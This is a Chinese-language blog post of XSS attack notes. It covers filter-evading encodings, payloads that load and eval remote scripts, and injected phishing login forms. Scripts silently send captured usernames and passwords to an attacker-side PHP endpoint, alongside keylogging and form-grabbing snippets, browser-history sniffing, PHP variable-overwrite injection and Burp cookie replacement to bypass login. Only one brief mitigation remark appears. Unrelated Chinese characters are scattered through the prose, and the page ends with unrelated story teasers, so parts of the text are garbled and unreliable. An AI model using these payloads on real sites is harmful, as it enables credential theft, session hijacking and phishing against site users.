XSS攻擊筆記

什么是XSS目锭?

跨站腳本(Cross-Site Scripting空执,XSS)是一種經(jīng)常出現(xiàn)在 Web 應(yīng)用程序中的計(jì)算機(jī)安全漏 洞阱穗,是由于 Web 應(yīng)用程序?qū)τ脩舻妮斎脒^濾不足而產(chǎn)生的望拖。攻擊者利用網(wǎng)站漏洞把惡意的腳本 代碼(通常包括 HTML 代碼和客戶端 Javascript 腳本)注入到網(wǎng)頁之中无拗,當(dāng)其他用戶瀏覽這些網(wǎng) 頁時(shí)笼呆,就會(huì)執(zhí)行其中的惡意代碼熊响,對(duì)受害用戶可能采取 Cookie 資料竊取、會(huì)話劫持诗赌、釣魚欺騙 等各種攻擊耘眨。
由于和另一種網(wǎng)頁技術(shù)——層疊樣式表(Cascading Style Sheets,CSS)的縮寫一樣境肾,為了防 止混淆剔难,故把原本的 CSS 簡(jiǎn)稱為 XSS。 通常情況下奥喻,我們既可以把跨站腳本理解成一種 Web 安全漏洞偶宫,也可以理解成一種攻擊手段。

XSS攻擊流程

XSS 跨站腳本攻擊本身對(duì) Web 服務(wù)器沒有直接危害环鲤,它借助網(wǎng)站進(jìn)行傳播纯趋,使網(wǎng)站的大量用戶 受到攻擊。攻擊者一般通過留言、電子郵件或其他途徑向受害者發(fā)送一個(gè)精心構(gòu)造的惡意 URL吵冒,當(dāng) 受害者在 Web 瀏覽器中打開該 URL 的時(shí)侯纯命,惡意腳本會(huì)在受害者的計(jì)算機(jī)上悄悄執(zhí)行,流程如圖


圖片.png

XSS 漏洞的危害

(1)網(wǎng)絡(luò)釣魚痹栖,包括盜取各類用戶賬號(hào)亿汞;
(2)竊取用戶 cookies 資料,從而獲取用戶隱私信息揪阿,或利用用戶身份進(jìn)一步對(duì)網(wǎng)站執(zhí)行操 作疗我;
(3)劫持用戶(瀏覽器)會(huì)話,從而執(zhí)行任意操作南捂,例如進(jìn)行非法轉(zhuǎn)賬吴裤、強(qiáng)制發(fā)表日志、發(fā) 送電子郵件等溺健;
(4)強(qiáng)制彈出廣告頁面麦牺、刷流量等;
(5)網(wǎng)頁掛馬鞭缭;
(6)進(jìn)行惡意操作剖膳,例如任意篡改頁面信息、刪除文章等缚去;
(7)進(jìn)行大量的客戶端攻擊潮秘,如 DDoS 攻擊;
(8)獲取客戶端信息易结,例如用戶的瀏覽歷史枕荞、真實(shí) IP、開放端口等搞动;
(9)控制受害者機(jī)器向其他網(wǎng)站發(fā)起攻擊躏精;
(10)結(jié)合其他漏洞,如 CSRF 漏洞鹦肿,實(shí)施進(jìn)一步作惡矗烛;
(11)提升用戶權(quán)限,包括進(jìn)一步滲透網(wǎng)站箩溃;
(12)傳播跨站腳本蠕蟲等瞭吃;

XSS攻擊之利用字符編碼

HTML 標(biāo)簽中的某些屬性值可以使用&#ASCII 方式進(jìn)行編碼改寫,這種 XSS 轉(zhuǎn)碼支持十進(jìn)制和十六進(jìn)制形式涣旨。

1.工具轉(zhuǎn)碼:使用在線工具將輸入內(nèi)容轉(zhuǎn)碼
2.函數(shù)轉(zhuǎn)碼:

在 JavaScript 中有一個(gè) eval()函數(shù)歪架,該函數(shù)可計(jì)算字符串,并執(zhí)行其中的 JavaScript
代碼霹陡,如下所示: 
<script> eval("alert('XSS')"); </script> 
我們可以使用\連接十六進(jìn)制字符串和蚪,然后使用 eval()函數(shù)執(zhí)行十六進(jìn)制字符串形式的腳本止状, 如對(duì) alert('XSS')進(jìn)行十六進(jìn)制轉(zhuǎn)碼后得到: 
\61\6c\65\72\74\28\27\58\53\53\27\29 

完整如下:
<script> eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29"); </script>
3.函數(shù)結(jié)合轉(zhuǎn)碼:

string.formcharcode()用于將字符轉(zhuǎn)為 ASCII 值
結(jié)合使用 eval()和 String.fromCharCode()函數(shù)后變成: 
<embed src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))"> 

4.樣式表轉(zhuǎn)碼

可以對(duì) background 的屬性值進(jìn)行十六進(jìn)制字符串形式轉(zhuǎn)換: 
<style> 
BODY { 
background: \75\72\6c\28\68\74\74\70\3a\2f\2f\31\32\37\2e\30\2e\30\2e\31\2f\78\73\73\2e\67\69\6 6\29 } 
</style> 

<div style="xss:&#101;&#120;&#112;&#114;&#101;&#115;&#115;&#105;&#111;&#110;(alert(1));" ></div> 

<DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\ 0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\002 9">

style 屬性中的 javascript、expression 等字符一般會(huì)被程序過濾攒霹,但經(jīng)過十六進(jìn)制編碼后則可 以逃避過濾

5.JScript Encode 和 VBScript Encode
腳本加密的兩種形式:JScript 和 VBScript.
經(jīng)過加密的腳本怯疤,能在 IE下正常運(yùn)行,在其他瀏覽器下則不識(shí)別催束。
alert(1)使用 JScript Encode 加密的結(jié)果為:
#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@
經(jīng) XSS Expliot 后變?yōu)椋?br> <script language="JScript.Encode"> #@~^CAAAAA==C^+.D`8#mgIAAA==^#~@ </script>
VBScript.Encode :

<a href=# language="JScript.Encode"  onclick="#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@">test</a> 
<iframe onload=JScript.Encode:#@~^CAAAAA==C^+.D`8#mgIAAA==^#~@>
 <iframe onload=VBScript.Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@>
 <iframe onload=VBScript&#46;Encode:#@~^CAAAAA==\ko$K6,FoQIAAA==^#~@> 

復(fù)雜的

<div style="\000000000000000000000078\000000000000000000000073s:e&#x5c;&#x78;p&#47;&#42;&#106;&#110;&#118;&#42;&#47;\0072\0065ssion(window.x?0:(alert(/XSS/),window.x= 1));"></div> 

Shellcode

所謂的 Shellcode集峦,最初是溢出程序和蠕蟲病毒的核心,實(shí)際上是指利用一個(gè)漏洞時(shí)所執(zhí)行 的代碼泣崩。在 XSS 跨站腳本中少梁,是指由 JavaScript 等腳本編寫的 XSS 利用代碼洛口。

【Exploit】
Exploit 的英文意思就是利用矫付,在黑客眼里就是漏洞利用,通常表示完整編寫好的漏洞利用 工具(或程序)第焰,具有一定的攻擊性买优。 Exploit 很容易和 Shellcode 混淆,所以需要記住一點(diǎn):Exploit 往往包含了 Shellcode挺举。
【POC】
即 Proof of Concept 的縮寫杀赢,是一段證明漏洞存在的程序代碼片段。

在傳統(tǒng) XSS 的運(yùn)用中湘纵,Shellcode 一般是直接寫進(jìn)頁面中執(zhí)行脂崔,不過實(shí)際環(huán)境中可能會(huì)遇到 重重阻撓,比如服務(wù)器端程序的過濾梧喷、輸入字符有長度限制等砌左,所以,攻擊者往往會(huì)把 Shellcode 寫到遠(yuǎn)程服務(wù)器上铺敌,然后使用<script>等標(biāo)簽對(duì)其進(jìn)行調(diào)用汇歹,或者使用一些本地存儲(chǔ)對(duì)象對(duì)其進(jìn) 行存儲(chǔ)和調(diào)用等。
在 XSS 中調(diào)用 Shellcode 有多種方式偿凭。

1. 動(dòng)態(tài)調(diào)用遠(yuǎn)程 JavaScript
2.使用 window.location.hash
3. XSS Downloader 

payload: <script src="http://localhost/XSS.js"></script>

腳本:動(dòng)態(tài)調(diào)用
var s=document.createElement("script");
s.src="http://localhost/XSS.js";
document.getElementsByTagName("head")[0].appendChild(s);

第一行代碼使用 createElement()函數(shù)創(chuàng)建一個(gè)新元素——script产弹。
第二行代碼把<script>的 src 屬性設(shè)置成 “http://...”, xss.js 里面寫有 Shellcode 代碼弯囊。
第三行代碼使用 getElementsByTagName()函數(shù)查找并返回文檔中第一個(gè)元素(因?yàn)樗饕秊?0)痰哨, 然后利用 appendChild()函數(shù)調(diào)用元素參數(shù) s,追加指定的節(jié)點(diǎn)到子節(jié)點(diǎn)列表的最后一個(gè)匾嘱。
簡(jiǎn)單 來說 斤斧,這 段 腳本 的作 用就 是 動(dòng)態(tài) 創(chuàng)建 了一 個(gè)<script>標(biāo) 簽 ,其 src 屬性 指向 http://...奄毡,然后把引用 JavaScript 的代碼插入到網(wǎng)頁的<head>標(biāo)簽后折欠。

payload:localhost/XSS/test.php?sort=<script>eval(location.hash.substr(1))</script>#alert('xss')

substr()可在字符串中抽取從 start 下標(biāo)(這里是 1)開始的指定數(shù)目的字符,所以 location.hash.substr(1) 的作用是抽取“#”符號(hào)后面的字符,即 alert('xss')
eval()函數(shù)用來計(jì)算 某個(gè)字符串锐秦,并執(zhí)行其中的 JavaScript 代碼
eval(location.hash.substr(1))的功能就是執(zhí)行 Url的#之后的 JavaScript 代碼咪奖,
通過這個(gè)技巧,就能先把 Shellcode 寫到地址參數(shù)中再執(zhí)行

XSS Downloader:
將其存儲(chǔ)到網(wǎng)站的數(shù)據(jù)庫中酱床,包括網(wǎng) 頁信息羊赵、文章內(nèi)容、個(gè)人資料等地方扇谣,然后再把它們下載下來執(zhí)行昧捷。
簡(jiǎn)單地說,其實(shí)就是打造一個(gè) XSS downloader(XSS 下載器)罐寨,事先把 Shellcode 寫在網(wǎng)站 的某個(gè)頁面靡挥,再利用 XMLHTTP 控件向網(wǎng)站發(fā)送 HTTP 請(qǐng)求(POST 或 GET),然后執(zhí)行返回的 數(shù)據(jù)鸯绿。

POC復(fù)現(xiàn):

function XSS(){ 
a=new ActiveXObject('Microsoft.XMLHTTP');  
a.Open('get','http://www.bug.com/11221.html',false);/ 
a.send(); 
b=a.responseText;  
eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));
}
XSS();  

第一行:定義一個(gè) XSS()函數(shù)跋破,該函數(shù)也就是調(diào)用 Shellcode 的主函數(shù)。
第二行:創(chuàng)建一個(gè) XMLHTTP 對(duì)象瓶蝴。
第三毒返、四行:向 http://www.bug.com/11221.html 發(fā)送一個(gè) HTTP 請(qǐng)求并獲取 HTTP 響應(yīng)。
第五行:獲取 responseText舷手,結(jié)果返回為字符串拧簸,把該變量賦值給 b 變量。
第六行:用 indexOf()函數(shù)計(jì)算 BOF|和|EOF 的位置男窟,再用 substring()函數(shù)方法取出字符串盆赤, 最后用 unescape()函數(shù)方法解碼執(zhí)行。

XSS釣魚方式

(1)XSS 重定向釣魚(XSS Redirect Phishing)
(2)HTML注入式釣魚(XSS HTML Inject Phishing)
(3)XSS 跨框架釣魚(Iframe Phishing)
(4)Flash 釣魚(Flash Phishing)

payload:

http:/.../index.php?search="'><script>document.location.href="http://..."</script> 

payload:
http://www.bug.com/index.php?search=”’<html><head><title>login</title></head> <body><div style="text-align: center;"><form Method="POST" Action="phishing.php" Name="form"><br /><br/>Login:<br/> <input name="login" /><br />Password:<br/><input name="Password" type="password" /><br /><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html>

這段代碼會(huì)在正常頁面中嵌入一個(gè) Form 表單,該表單可以覆蓋 原頁面顯示蝎宇,強(qiáng)迫用戶輸入賬號(hào)和密碼等信息弟劲。

這種方式是通過<Iframe>標(biāo)簽嵌入遠(yuǎn)程域的一個(gè)頁面實(shí)施釣魚
新建一個(gè)HTMLL文件:

<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html;charset=gb2312"> 
<title>百度一下,你就知道      </title>
 <body scroll="no"> 
<iframe name="myFrame" src="http://www.baidu.com" width="100%" height="100%" scrolling ="auto" frameborder="0" onload="this.style.height=document.body.clientHeight">
</iframe> 
 </body>
</head>
 </html> 

上述代碼會(huì)偽造一個(gè)和百度網(wǎng)頁類似的網(wǎng)頁姥芥,
payload:
http://.../index.php?search='><iframe src=“http://...” height="100%" width="100%"></iframe>

Flash 釣魚甚至不要求網(wǎng)站存在 XSS 漏洞兔乞,只要 攻擊者把精心構(gòu)造的 Flash 文件(比如一個(gè)假冒的登錄框)上傳到遠(yuǎn)程服務(wù)器,然后在目標(biāo)網(wǎng)站 中使用<object>或<embed>標(biāo)簽去引用 Flash 即可凉唐。
當(dāng)然庸追,F(xiàn)lash 本身也存在許多的安全漏洞,包括 XSS台囱、CSRF 和跨域等問題淡溯,而且 Flash 也有 內(nèi)置的編程語言——ActionScript。ActionScript 與 JavaScript簿训、服務(wù)端編程語言一樣都可以作為跨 站攻擊的一種輔助手段咱娶。

XSS高級(jí)釣魚技術(shù)

背景

黑客利用 XSS 漏洞可以竊取用戶會(huì)話的 Cookie米间,從而竊取網(wǎng)站用戶的隱私數(shù)據(jù),包括 MD5 密碼信息等膘侮。但是屈糊,如果網(wǎng)站使用了 Httponly 的 Cookie(將 Cookie 的屬性設(shè)置為“Httponly” 就可防止 Cookie被惡意JavaScript腳本存取)琼了,或無法通過 Cookie欺騙等方式侵入受害者的賬戶逻锐, 那么竊取用戶 Cookie 資料的方法就顯得英雄無用武之地。
這種情況下雕薪,黑客更青睞于直接獲取用戶的明文賬戶密碼信息昧诱。這時(shí)候就要用到一些高級(jí)的 XSS 釣魚技術(shù),而構(gòu)成這些技術(shù)的主要元素?zé)o非是我們所熟知的 DHTML所袁、JavaScript盏档、Ajax等。

實(shí)例一
<script> 
Form = document.forms["userslogin"];
Form.onsubmit = function(){ 
var iframe = document.createElement("iframe");
iframe.style.display = "none"; 
alert(Form.user.value); 
iframe.src = "http://127.0.0.1/....php?user="+Form.user.value + "&pass=" + Form.pass.value; document.body.appendChild(iframe);
} 
</script> 

這段代碼用來截取用戶在登錄頁面輸入的用戶名和密碼信息纲熏,然后提交給當(dāng)前創(chuàng)建的 PHP
腳本.

實(shí)例二
<script>
 loginForm = document.forms[' userslogin ']; 
 function parseData()  {  
var user = loginForm.user.value; 
 var pass = loginForm.pass.value; 
 saveData(username,password); 
 return true; 
 }  
function saveData(username,password)  {  
var frame=document.createElement('iframe'); 
frame.src=" http://127.0.0.1/phishing.php?user=" + user + "&pass=" + pass;  frame.style.display='none';  document.body.appendChild(frame); 
 }  
loginForm.onsubmit = parseData; 
</script> 

這段代碼也會(huì)獲取和記錄用戶所提交的信息妆丘,同實(shí)例一锄俄。

劫持鏈接的onclick
for(i=0;i<document.links.length;i++)
{
document.links[i].onclick = hijack; 
}
監(jiān)聽鍵盤的onkeydown
document.onkeydown=function(e)
{
if(!e)e=window.event;
try{
hijack();
}
catch(ex)
{ } 
} 
劫持表單的輸入框
document.onkeyup=function(){ 
document.forms['PassFormlogin'].onsubmit=function()
{    pwd = this.PassInputUsername0.value + '|' + this.PassInputPassword0.value;    
     log(escape(pwd)); 
} 
}
JS遍歷 Form 表單元素
function grabber()
{ 
  F = document.forms;  
  for(var j=0; j<F.length; ++j)  
  {   
      f = F[j];   for (i=0; i<f.length; ++i) 
    {    
        if (f[i].type.toLowerCase() == "password")    
      {    
         alert("Password:"+f[i].value)    
      }    else if (f[i].type.toLowerCase() != "submit")   
           {     
              alert("Text:"+f[i].value)    
           }  
     }  
  } 
}  grabber();
JS捕獲用戶特定按鍵
<script> 
function keyDown() {               
var keycode = event.keyCode;               
var realkey = String.fromCharCode(event.keyCode);                
alert("按鍵碼: " + keycode + " 字符: " + realkey);           
}           
document.onkeydown = keyDown;
</script>

XSS History Hack

背景

對(duì)于網(wǎng)站上超級(jí)鏈接局劲,我們點(diǎn)擊后會(huì)發(fā)現(xiàn)顏色出現(xiàn)變化,那些沒發(fā)生顏色變化的正是我們沒有訪問過的奶赠。
一般來說鱼填,用戶每天都會(huì)瀏覽許多網(wǎng)頁,這些網(wǎng)頁 都會(huì)被瀏覽器記錄下來毅戈,除非用戶刻意清除苹丸,否則歷史 記錄將一直保存在本地計(jì)算機(jī)中。倘若攻擊者能獲取用 戶瀏覽器的歷史記錄或搜索信息苇经,將是一件十分危險(xiǎn)的 事赘理,攻擊者可以在此基礎(chǔ)上進(jìn)一步發(fā)起其他攻擊,如社 會(huì)工程學(xué)扇单。

作用

能獲取瀏覽器的某些歷史記錄商模,其原理就是利用 CSS 能定義訪問 過的和未訪問過的超級(jí)鏈接的樣式。由于 JavaScript 可以讀取任何元素的 CSS 信息蜘澜,自然能分辨 瀏覽器應(yīng)用了哪種樣式和用戶是否訪問過該鏈接施流。

POC

<html>
<body>
<H3>Visited</H3>
<ul id="visited"></ul>
<H3>Not Visited</H3>
<ul id="notvisited"></ul>
<script> var websites = [ "http://www.baidu.com/", "http://wwww.google.com/", "http://www.sina.com.cn/", "http://www.qq.com/", "http://www.163.com/", "http://www.sohu.com/", "http://www.playsec.com/", "http://hi.baidu.com/", "http://zhidao.baidu.com/", 
"http://www.taobao.com/", "http://weibo.com/", ];
 for (var i = 0; i < websites.length; i++) {  
var link = document.createElement("a");
link.id = "id" + i;
link.href = websites[i];
link.innerHTML = websites[i];
document.write('<style>');
document.write('#id' + i + ":visited {color: #FF0000;}");
document.write('</style>');
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue ("color");  document.body.removeChild(link);
if (color == "rgb(255, 0, 0)")
{
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else {         
var item = document.createElement('li');
item.appendChild(link);    
document.getElementById('notvisited').appendChild(item);   
}  
}  
</script> 
</body> 
</html> 
代碼實(shí)現(xiàn)

將上述代碼保存到一個(gè)文檔中,使用火狐打開之后鄙信,我們可以看到Visited和Not Visited 兩部分瞪醋,分別羅列出來我們?cè)?jīng)訪問過的網(wǎng)站和沒有訪問過的網(wǎng)站。
出現(xiàn)這種效果的原因在于装诡,我們上述的代碼已經(jīng)預(yù)先的把用戶可能訪問的網(wǎng)站記錄下來银受,然后通過JS遍歷列表践盼,并利用getComputedStyle()的方法檢查相應(yīng)超級(jí)鏈接的style屬性,從而辨別出瀏覽器是否訪問過該網(wǎng)站宾巍。

$_SERVER[PHP_SELF]

<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>">              
<input type="hidden" name="submitted" value="1" />                         
<input type="submit" value="Submit!" />  </form>

將其保存宏侍,在php下運(yùn)行。

產(chǎn)生 XSS 漏洞的原因

php echo $_SERVER['PHP_SELF'];
這行代碼直接輸出 PHP_SELF 變量蜀漆,而該變量由用戶控制谅河。

如何規(guī)避

可以使用htmlentities($_SERVER[‘PHP_SELF’])來替代$_SERVER[‘PHP_SELF’], 這樣即使網(wǎng)址中包含惡意代碼确丢,也會(huì)被轉(zhuǎn)換為用于顯示的 HTML代碼绷耍,而不是被直接嵌入 HTML 代碼中執(zhí)行。

注意:除了 PHP_SELF 之外鲜侥,其他的$_SERVER 變量也可能存在類似漏洞褂始,比 如 SCRIPT_URI、QUERY_STRING描函、PATH_INFO 等崎苗,在使用之前一定要先進(jìn)行 htmlentities 之類 的轉(zhuǎn)換。

變量覆蓋

(1)register_globals=on舀寓。
(2)extract()胆数。
(3)遍歷初始化變量。

背景

register_globals是php.ini里的一個(gè)配置互墓,這個(gè)配置影響到PHP如何接受傳遞過來的參數(shù)必尼,當(dāng)register_globals打開以后,各種變量都可以被重新注冊(cè)篡撵,包括來自HTML的表單請(qǐng)求變量判莉,再加上PHP在使用變量之前不需要進(jìn)行初始化,這便容易寫出不安全的代碼育谬,然而我們只需要開啟它便可以達(dá)到我們的攻擊目的券盅。

操作

開啟r_g只需要修改PHP的配置文件php.in,在該文件中找到r_g的屬性膛檀,然后把register——globals=Off改為register_globals=on即可锰镀。

示例
<?php
echo $a;
?>

這段代碼的輸出很簡(jiǎn)單,但是$a事先沒有初始化宿刮,訪問localhost/test.php?a=XSS便能實(shí)現(xiàn)攻擊互站。

背景

extract()函數(shù),它用來將變量從數(shù)組導(dǎo)入到當(dāng)前的符號(hào)表中

<?php
$a=1;
extract($_GET);
echo $a;
?>

$a已經(jīng)被初始化僵缺,如果直接訪問該頁面胡桃,輸出的值為1.添加參數(shù)a后,localhost/test.php?a=XSS,頁面輸出的XSS磕潮,$a被重新賦值翠胰,因?yàn)槭褂昧?code>extract($_GET);
這行代碼是使用extract()覆蓋所有以GET方法獲取的變量容贝,即localhost/test.php?a=<script>alert(/XSS/)</script>能產(chǎn)生一個(gè)XSS。

背景

使用foreach()函數(shù)模擬全局操作

$chs=' ';
if($_POST && $charset != 'utf-8')
{
  $chs=new Chinese('UTF-8',$charset);
  foreach($_POST as $key => $value)
{
    $$key=$chs->Convert($value);
}
unset($chs);
} 

簡(jiǎn)化之后如下:

<?php
$a=1;
foreach($_GET as $key =>$value)
{
      $$key =$ value;
}
print $a;
print $b;
?>

payload:
localhost/test.php?a=XSS&b=<h1>XSS</h1>

字符集編碼隱患

localhost/test.php?a=xss%d5';alert(0)//

$a為動(dòng)態(tài)內(nèi)容之景,如果直接把xss';alert(0)//賦給$a
localhost/test.php?a=xss';alert(0)//
則會(huì)返回:
<script>x='xss\';alert(0)//';y='[user_input]';</script>

Cookie

背景

用戶在瀏覽網(wǎng)站時(shí)斤富,該網(wǎng)站可能會(huì)向電腦寫入一個(gè)很小的文件,這個(gè)文件記錄了用戶的ID锻狗,Password,Time等等满力,這個(gè)文件就是Cookie文件,當(dāng)我們?cè)俅卧L問該網(wǎng)站時(shí)轻纪,瀏覽器會(huì)自動(dòng)檢測(cè)存儲(chǔ)油额,,將本地的Cookie發(fā)送給網(wǎng)站刻帚,網(wǎng)站通過讀取Cookie來獲取用戶的信息潦嘶,做出相應(yīng)的動(dòng)作,例如我們經(jīng)吵缰冢看到的掂僵,直接登陸,除了在瀏覽器內(nèi)存中保存的Cookie之外顷歌,大部分的Cookie會(huì)保存在本地的硬盤锰蓬。

XSS基本測(cè)試

(1)查找HTML顯示的標(biāo)簽,查看是否在顯示區(qū)域
(2)如果不在衙吩,則
<script>alert((document.cookie)</script>:普通注入
"/><script>alert(document.cookie)</script>:閉合標(biāo)簽注入
</textarea>'"><script>alert(document.cookie)</script>:閉合標(biāo)簽注入
讀寫cookie

public class CookieTest extends HttpServlet
{
     public void doGet(HttpServletRequest request,HttpServletResponse reponse) throws ServletException,IOException
     {
        this.doPost(request,reponse);
     }
     public void doPost(HttpServletRequest request,HttpServletReponse reponse) throws ServletExeption,IOException
     {
        PrintWriter out =response.getWriter();
        Cookie c[]=request.getCookies();
        if(c!=null)
        {
            for (int i=0;i<c.length;i++)
            {
                Cookie cookie=c[i];
                out.print("Welcome"+cookie.getValue());
            }
        }else
        {
            String username=request.getParameter("username");
            if(username!=null&&!"".equals(username))
            {
                Coolie ck=new Cookie("Name",username);
                reponse.addCookie(ck);
            }

        }
     }
}

Burp

進(jìn)行抓包互妓,我們會(huì)發(fā)現(xiàn)Cookie后會(huì)帶有幾行密文,這就是WEB服務(wù)器向客戶端發(fā)送的Cookie坤塞,當(dāng)攻擊者拿到這段Cookie,就可以使用當(dāng)前用戶的身份登陸澈蚌。

使用Burp,add Request header摹芙,在Match輸入框內(nèi)輸入要替換的請(qǐng)求頭,這里為正則表達(dá)宛瞄,找到該框
圖片.png
進(jìn)行add添加MAtch進(jìn)行匹配,MATCH:^Cookie*$,REPLACE:為自己要設(shè)置的Cookie浮禾,設(shè)置完,再次請(qǐng)求份汗,發(fā)現(xiàn)Cookie已經(jīng)變成我們剛才設(shè)置的盈电,繞過了登陸。

SESSION

圖片.png

對(duì)于安全性來說SESSION的安全性比Cookie高杯活,對(duì)于構(gòu)造匆帚,我們只需在HTML代碼中添加
<script type='text/javascript'> document.cookie='PHPSESSID=123456789' </script>類似于這樣即可,重新發(fā)送旁钧,我們會(huì)發(fā)現(xiàn)我們 所構(gòu)造的SESSION合法吸重。

如何拿到session

session是可以儲(chǔ)存在Cookie中互拾,相當(dāng)于臨時(shí)cookie,它既可以通過抓包的方式展現(xiàn)嚎幸,也可以通過構(gòu)造payload.../user.action;jsessionid=...颜矿,SESSION是與瀏覽器之間的一次會(huì)話,它用來區(qū)分不同的用戶嫉晶,當(dāng)瀏覽器關(guān)閉后骑疆,會(huì)隨之消失,故我們需要在瀏覽器與服務(wù)器會(huì)話結(jié)束之前拿到替废。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末封断,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子舶担,更是在濱河造成了極大的恐慌坡疼,老刑警劉巖,帶你破解...
    沈念sama閱讀 206,311評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件衣陶,死亡現(xiàn)場(chǎng)離奇詭異柄瑰,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)剪况,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,339評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門教沾,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人译断,你說我怎么就攤上這事授翻。” “怎么了孙咪?”我有些...
    開封第一講書人閱讀 152,671評(píng)論 0 342
  • 文/不壞的土叔 我叫張陵堪唐,是天一觀的道長。 經(jīng)常有香客問我翎蹈,道長淮菠,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,252評(píng)論 1 279
  • 正文 為了忘掉前任荤堪,我火速辦了婚禮合陵,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘澄阳。我一直安慰自己拥知,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,253評(píng)論 5 371
  • 文/花漫 我一把揭開白布碎赢。 她就那樣靜靜地躺著低剔,像睡著了一般。 火紅的嫁衣襯著肌膚如雪揩抡。 梳的紋絲不亂的頭發(fā)上户侥,一...
    開封第一講書人閱讀 49,031評(píng)論 1 285
  • 那天镀琉,我揣著相機(jī)與錄音,去河邊找鬼蕊唐。 笑死屋摔,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的替梨。 我是一名探鬼主播钓试,決...
    沈念sama閱讀 38,340評(píng)論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼副瀑!你這毒婦竟也來了弓熏?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 36,973評(píng)論 0 259
  • 序言:老撾萬榮一對(duì)情侶失蹤糠睡,失蹤者是張志新(化名)和其女友劉穎挽鞠,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體狈孔,經(jīng)...
    沈念sama閱讀 43,466評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡信认,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,937評(píng)論 2 323
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了均抽。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片嫁赏。...
    茶點(diǎn)故事閱讀 38,039評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖油挥,靈堂內(nèi)的尸體忽然破棺而出潦蝇,到底是詐尸還是另有隱情,我是刑警寧澤深寥,帶...
    沈念sama閱讀 33,701評(píng)論 4 323
  • 正文 年R本政府宣布攘乒,位于F島的核電站,受9級(jí)特大地震影響翩迈,放射性物質(zhì)發(fā)生泄漏持灰。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,254評(píng)論 3 307
  • 文/蒙蒙 一负饲、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧喂链,春花似錦返十、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,259評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至蝇率,卻和暖如春迟杂,著一層夾襖步出監(jiān)牢的瞬間刽沾,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,485評(píng)論 1 262
  • 我被黑心中介騙來泰國打工排拷, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留侧漓,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,497評(píng)論 2 354
  • 正文 我出身青樓监氢,卻偏偏與公主長得像布蔗,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子浪腐,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,786評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容